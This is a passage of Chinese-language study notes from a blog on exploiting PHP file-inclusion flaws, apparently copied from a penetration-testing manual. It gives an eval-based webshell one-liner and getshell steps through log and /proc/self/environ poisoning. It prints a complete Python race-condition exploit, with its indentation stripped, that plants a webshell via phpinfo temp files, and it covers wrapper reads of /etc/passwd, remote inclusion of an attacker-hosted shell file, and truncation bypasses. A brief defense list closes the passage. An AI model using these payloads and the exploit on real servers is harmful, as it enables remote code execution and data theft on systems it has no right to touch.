学习笔记-文件包含

文件包含详解

漏洞描述:程序在引用一些文件名时,没有对文件名进行有效的校验或者校验不严,就可能导致文件泄露和恶意的代码注入。

那么所谓文件包含,就是通过文件包含的函数加载另一文件代码,并且当php代码执行,节省开发的时间。

本地包含
1.文件包含图片

当发现有文件上传点,也可以试一下有无文件包含,将恶意代码文件后缀改为图片格式如jpg,

语句:

<?php phpinfo();eval($_POST['cmd']) ;?>

上传图片后,得到路径将其包含

2.包含日志文件来getshell

中间件像iis,apache等都会有日志的记录,那我们可以将日志进行包含,如果日志中有php代码。

不过有个前提:

日志有读取的权限,一般Linux中都无权限,phpstudy大多都有权限,并且就算包含进去也会被浏览器进行编码还要用bp进行绕过。

#在apache中日志文件在conf/httpd.conf,当我们发现有有这个漏洞时,如果要使用日志包含必须将其日志包含也就是这个路径,Linux也是同样。在bp截包输入恶意代码,日志必定有记录,这时要看一下包含进来的日志文件看是哪一个,找到路径访问

3.包含环境变量 getshell

在user-Agen填写恶意代码,如果这个时候 /proc/self/environ能够包含的话那么就能够得到webshell。

/proc/self/environ里面保存了系统的变量

User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。
3.phpinfo文件包含临时文件

那么要实现这个前提是必须要有phpinfo文件

原因在于phpinfo()会读取临时文件的路径和名字,但是临时文件不会在当前目录下,会很快删除。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1ImTicut-1660899037354)(C:\Users\llh666\Desktop\Screenshot 2022-08-19 at 10-50-31 渗透测试手册WEB安全漏洞.pdf.png)]

这时用到脚本(暗月的),要修改利用路径和文件。将文件写入tmp目录后,查看路径进行包含getshell

#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()

对于脚本的解释

具体原理
在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,
php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]),这个临时文件在请求结束后
就会被删除,同时,phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和 phpinfo
页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件
名,将这个文件名发送给文件包含漏洞页面。
因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。
但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,
就上传我们的恶意文件,然后文件包含:
1)发送包含了 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数
据;
2)phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非常大
3)PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
4)所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立
即发送第二个数据包
5)此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临
时文件还未被删除
6)我们可以利用这个时间差,成功包含临时文件,最后 getshell
执行 python lfi.py 192.168.0.103 80
伪协议

php伪协议有很多,列举下面这些

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

这些协议能够使用涉及到php中的参数

就是php.ini里面的两个默认参数allow_url_fopen ,allow_url_include

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件

在这里插入图片描述

这些协议的使用方法啊

下面对协议进行具体的说明:

1.php://input

能够访问原始数据的只读流,将请求的post数据当作php代码执行。

enctype="multipart/form-data",php://input 是无效的。
php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
2.file://

能够读取本地文件

例如:file:///etc/passwd

相对路径与绝对路径都行

3.php://

访问各个输入输出流

那么php:// 经常使用的几个参数

php://input 访问请求原始数据的只读流,在post数据中访问post的data部分。
php://filter 用来读取源码
使用见上

更多参数的解释见下
在这里插入图片描述

那么对于php:// 伪协议,还有很多参数来进行waf绕过,这里就不多做阐述。

4.zip://, bzip2:// ,zlib://

用于读取压缩文件。

#不需要指定后缀名,可修改任意后缀名,如jpg gif等

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.tx
t
远程包含

远程包含的前提条件

allow_url_fopenallow_url_include=on 两个条件同时为on,才允许远程包含文件.

例:

http://192.168.0.103/lfi.php?file=http://192.168.0.103/shell.txt
192.168.0.103 设置为远程的 ip
shell.txt 包含的恶意代码。

在进行远程包含时遇到限制,文件包含的函数在获取参数后,可能会附带后缀名,那么这时就需要将其截断

include $_GET['file'].'.php';
1.%00截断
?file=flag.txt%00

前提:php版本小于5.3.4允许使用%00截断,且gpc=off,如果gpc开启的话,特殊字符会被转义。

2.长度截断

前提:

php版本<=5.2 ?
操作系统对于目录字符串存在长度限制
windows下目录最大长度为256字节,超出部分会被丢弃掉
Linux下目录最大长度为4096字节,超出的部分会被丢弃掉

 例子:
 像windows,.超过256个字节即可
 Linux下只需不断重复./即可

适用于远程包含字符串

在这里插入图片描述

防御方案
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是
否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
5.设置 allow_url_include 为 Of

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值